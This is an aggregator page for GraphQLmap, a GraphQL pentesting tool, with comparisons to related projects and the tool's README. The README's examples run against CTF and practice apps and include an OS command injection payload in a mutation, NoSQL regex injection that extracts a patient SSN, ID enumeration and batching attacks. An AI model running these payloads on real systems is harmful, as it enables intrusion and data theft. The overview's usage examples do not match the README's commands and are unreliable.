GraphQLmap
GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - Do not use for illegal testing ;)
Top Related Projects
InQL is a robust, open-source Burp Suite extension for advanced GraphQL testing, offering intuitive vulnerability detection, customizable scans, and seamless Burp integration.
Obtain GraphQL API schema even if the introspection is disabled
A GraphQL client in Python
A reference implementation of GraphQL for JavaScript
Quick Overview
GraphQLmap is a scripting engine designed to interact with GraphQL endpoints. It provides a set of tools for penetration testers and security researchers to explore, analyze, and potentially exploit vulnerabilities in GraphQL APIs. The project aims to simplify the process of testing GraphQL implementations for security issues.
Pros
- Offers a comprehensive set of features for GraphQL API testing
- Provides an interactive console for easy exploration and testing
- Supports various attack techniques specific to GraphQL vulnerabilities
- Actively maintained and updated with new features
Cons
- Requires some knowledge of GraphQL and API security testing
- Limited documentation for advanced features
- May not work with all GraphQL implementations due to variations in server configurations
- Potential for misuse if not used responsibly and ethically
Code Examples
- Basic query execution:
gqlmap > dump_schema
[+] Dumping GraphQL schema
[+] Schema dumped in 'schema.json'
gqlmap > exec_query {"query": "{ users { id, name, email } }"}
[+] Executing GraphQL query
[+] Result: {"data": {"users": [{"id": 1, "name": "John Doe", "email": "john@example.com"}, ...]}}
- Introspection query:
gqlmap > introspect
[+] Executing introspection query
[+] Introspection data saved to 'introspection.json'
- Mutation example:
gqlmap > exec_query {"query": "mutation { createUser(name: \"Alice\", email: \"alice@example.com\") { id, name, email } }"}
[+] Executing GraphQL mutation
[+] Result: {"data": {"createUser": {"id": 5, "name": "Alice", "email": "alice@example.com"}}}
Getting Started
To get started with GraphQLmap:
-
Clone the repository:
git clone https://github.com/swisskyrepo/GraphQLmap.git
-
Install dependencies:
cd GraphQLmap pip install -r requirements.txt
-
Run GraphQLmap:
python3 graphqlmap.py -h python3 graphqlmap.py -u http://example.com/graphql
-
Use the interactive console to explore and test the GraphQL endpoint.
Competitor Comparisons
InQL is a robust, open-source Burp Suite extension for advanced GraphQL testing, offering intuitive vulnerability detection, customizable scans, and seamless Burp integration.
Pros of InQL
- Integrates with Burp Suite, providing a familiar interface for security professionals
- Offers a graphical user interface for easier navigation and visualization of GraphQL schemas
- Supports automatic query generation based on the introspected schema
Cons of InQL
- Requires Burp Suite, which may not be accessible to all users
- Less focused on specific GraphQL attack techniques compared to GraphQLmap
- May have a steeper learning curve for users not familiar with Burp Suite
Code Comparison
GraphQLmap example:
def exec_graphql(url, method, headers, query):
if method == "POST":
data = {"query": query}
r = requests.post(url, json=data, headers=headers, verify=False)
elif method == "GET":
r = requests.get(url + "?query=" + quote(query), headers=headers, verify=False)
return r.text
InQL example:
def query(self, query, variables=None):
data = {'query': query}
if variables:
data['variables'] = variables
headers = {'Content-Type': 'application/json'}
response = self.http_client.post(self.url, json=data, headers=headers)
return response.json()
Both projects provide methods for executing GraphQL queries, but InQL's implementation is more concise and includes support for variables. GraphQLmap offers separate handling for GET and POST requests, while InQL focuses on POST requests with JSON payloads.
Obtain GraphQL API schema even if the introspection is disabled
Pros of Clairvoyance
- More focused on GraphQL introspection and schema analysis
- Provides a user-friendly CLI interface
- Actively maintained with recent updates
Cons of Clairvoyance
- Limited to introspection and schema analysis, lacking broader attack capabilities
- Less comprehensive documentation compared to GraphQLmap
Code Comparison
GraphQLmap:
def mutation(self):
print("GraphQL mutation")
resource = input("Name of the resource to create (e.g: user): ")
fields = input("Fields of the resource (e.g: username,email): ").split(',')
...
Clairvoyance:
def introspect(self):
query = self.get_introspection_query()
result = self.execute_query(query)
if result:
self.schema = result['data']['__schema']
...
GraphQLmap offers a more interactive approach for crafting mutations, while Clairvoyance focuses on automated introspection and schema analysis. GraphQLmap provides a broader range of attack vectors, whereas Clairvoyance excels in detailed schema exploration. Both tools serve different purposes within GraphQL security testing, with GraphQLmap being more versatile for general testing and Clairvoyance specializing in schema analysis.
A GraphQL client in Python
Pros of gql
- More comprehensive GraphQL client library with support for async operations
- Actively maintained with regular updates and a larger community
- Provides schema validation and type checking for GraphQL queries
Cons of gql
- Steeper learning curve for beginners compared to GraphQLmap's simpler approach
- Focused on client-side operations, lacking some security testing features of GraphQLmap
Code Comparison
GraphQLmap:
from graphqlmap import GraphQLmap
gqlmap = GraphQLmap("http://example.com/graphql")
result = gqlmap.execute_query("{ users { id name } }")
print(result)
gql:
from gql import gql, Client
from gql.transport.requests import RequestsHTTPTransport
transport = RequestsHTTPTransport(url="http://example.com/graphql")
client = Client(transport=transport, fetch_schema_from_transport=True)
query = gql("{ users { id name } }")
result = client.execute(query)
print(result)
Summary
GraphQLmap is a lightweight tool focused on security testing and exploration of GraphQL endpoints, while gql is a more comprehensive GraphQL client library for Python. GraphQLmap offers simplicity and security-oriented features, whereas gql provides a robust client implementation with schema validation and async support. The choice between the two depends on the specific use case and level of GraphQL integration required in a project.
A reference implementation of GraphQL for JavaScript
Pros of graphql-js
- Comprehensive implementation of GraphQL specification in JavaScript
- Widely adopted and maintained by the GraphQL Foundation
- Extensive documentation and community support
Cons of graphql-js
- Focused on server-side implementation, not security testing
- Steeper learning curve for those new to GraphQL
Code Comparison
GraphQLmap:
def mutation_field(self):
query = self.field_template("mutation")
return self.execute(query)
graphql-js:
const schema = new GraphQLSchema({
query: new GraphQLObjectType({
name: 'Query',
fields: {
hello: {
type: GraphQLString,
resolve: () => 'Hello world!'
}
}
})
});
Key Differences
- GraphQLmap is a security testing tool for GraphQL endpoints
- graphql-js is a reference implementation for building GraphQL servers and clients
- GraphQLmap focuses on penetration testing and vulnerability assessment
- graphql-js provides a foundation for developing GraphQL applications
Use Cases
GraphQLmap:
- Security audits of GraphQL APIs
- Identifying potential vulnerabilities in GraphQL implementations
graphql-js:
- Building robust GraphQL servers
- Developing GraphQL clients and tools
- Implementing custom GraphQL schemas and resolvers
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual CopilotREADME
GraphQLmap
GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.
I :heart: pull requests, feel free to improve this script :)
You can also contribute with a :beers: IRL or using Github Sponsoring button.
Install
$ git clone https://github.com/swisskyrepo/GraphQLmap
$ python setup.py install
$ graphqlmap
_____ _ ____ _
/ ____| | | / __ \| |
| | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __
| | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \
| |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
\_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
| | | |
|_| |_|
Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]]
optional arguments:
-h, --help show this help message and exit
-u URL URL to query : example.com/graphql?query={}
-v [VERBOSITY] Enable verbosity
--method [METHOD] HTTP Method to use interact with /graphql endpoint
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
--json [USE_JSON] Use JSON encoding, implies POST
--proxy [PROXY] HTTP proxy to log requests
Development setup
python -m venv .venv
source .venv/bin/activate
pip install --editable .
pip install -r requirements.txt
./bin/graphqlmap -u http://127.0.0.1:5013/graphql
Features and examples
:warning: Examples are based on several CTF challenges from HIP2019.
Connect to a graphql endpoint
# Connect using POST and providing an authentication token
graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'
# Pass request through Burp Proxy
graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080
Dump a GraphQL schema
Use dump_new
to dump the GraphQL schema, this function will automatically populate the "autocomplete" with the found fields.
:movie_camera: Live Example
GraphQLmap > dump_new
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)
Query
doctor[]: email (String!),
doctors[Doctor]:
patients[Patient]:
patient[]: id (ID!),
allrendezvous[Rendezvous]:
rendezvous[]: id (ID!),
Doctor
id[ID]:
firstName[String]:
lastName[String]:
specialty[String]:
patients[None]:
rendezvous[None]:
email[String]:
password[String]:
[...]
Interact with a GraphQL endpoint
Write a GraphQL request and execute it.
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
{
"data": {
"doctors": [
{
"firstName": "Admin",
"id": "5d089c51dcab2d0032fdd08d",
"lastName": "Admin"
}
]
}
}
It also works with mutations
, they must be written in a single line.
# ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST
GraphQLmap > mutation { importPaste(host:"localhost", port:80, path:"/ ; id", scheme:"http"){ result }}
{
"data": {
"importPaste": {
"result": "uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n"
{
{
{
GraphQL field fuzzing
Use GRAPHQL_INCREMENT
and GRAPHQL_CHARSET
to fuzz a parameter.
:movie_camera: Live Example
Example 1 - Bruteforce a character
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
Example 2 - Iterate over a number
Use GRAPHQL_INCREMENT_
followed by a number.
GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} }
[+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} }
[+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} }
[+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} }
[+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} }
[+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} }
[+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} }
[+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} }
[+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} }
[+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} }
[+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} }
GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} }
{ paste(pId: "9") {id,title,content,public,userAgent} }
{
"data": {
"paste": {
"content": "I was excited to spend time with my wife without being interrupted by kids.",
"id": "UGFzdGVPYmplY3Q6OQ==",
"public": true,
"title": "This is my first paste",
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
}
}
GraphQL Batching
GraphQL supports Request Batching. Batched requests are processed one after the other by GraphQL
Use BATCHING_PLACEHOLDER
before a query to send it multiple times inside a single request.
GraphQLmap > BATCHING_3 {__schema{ types{namea}}}
[+] Sending a batch of 3 queries
[+] Successfully received 3 outputs
GraphQLmap > BATCHING_2 {systemUpdate}
[+] Sending a batch of 2 queries
[+] Successfully received 2 outputs
NoSQLi injection
Use BLIND_PLACEHOLDER
inside the query for the nosqli
function.
:movie_camera: Live Example
GraphQLmap > nosqli
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
Check > 5d089c51dcab2d0032fdd08d
Charset > 0123456789abcdef-
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
GraphQLmap >
SQL injection
GraphQLmap > postgresqli
GraphQLmap > mysqli
GraphQLmap > mssqli
Practice
- Damn Vulnerable GraphQL Application - @dolevf :
docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga
TODO
- GraphQL Field Suggestions
- Generate mutation query
- Unit tests
- Handle node
{
user {
edges {
node {
username
}
}
}
}
Top Related Projects
InQL is a robust, open-source Burp Suite extension for advanced GraphQL testing, offering intuitive vulnerability detection, customizable scans, and seamless Burp integration.
Obtain GraphQL API schema even if the introspection is disabled
A GraphQL client in Python
A reference implementation of GraphQL for JavaScript
Convert designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual Copilot